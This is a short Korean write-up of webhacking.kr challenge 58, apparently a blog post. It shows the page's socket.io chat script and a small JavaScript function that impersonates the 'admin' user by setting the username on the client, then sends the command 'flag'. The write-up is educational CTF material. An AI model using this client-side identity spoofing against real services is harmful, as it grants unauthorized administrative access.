[webhacking.kr] 58번 문제 풀이[Javascript]
💡 Webhacking.kr challenge(old) 58번 문제에 대한 풀이입니다.
문제
메시지를 보내서 flag를 알아내는 문제입니다.
문제 풀이
어떻게 작동하는지 확인하기 위해서 웹 소스코드를 먼저 분석합니다.
<script>
$(function () {
var username = "guest";
var socket = io();
$('form').submit(function(e){
e.preventDefault();
socket.emit('cmd',username+":"+$('#m').val());
$('#m').val('');
return false;
});
socket.on('cmd', function(msg){
$('#messages').append($('<li>').text(msg));
});
});
</script>
send 버튼을 누르면 javascript에서 웹 소켓을 통해 서버로 메시지를 전달하고, 응답을 출력하는 코드입니다.
위와 동일하게 자바 스크립트로 서버와 소켓을 하나 더 생성하여, admin 계정으로 데이터를 보내줍니다.
function sock(cmd){
var username = "admin";
var socket = io();
socket.emit('cmd',username+':'+cmd);
socket.on('cmd',function(msg){
console.log(msg);
})
}
sock('flag');
댓글남기기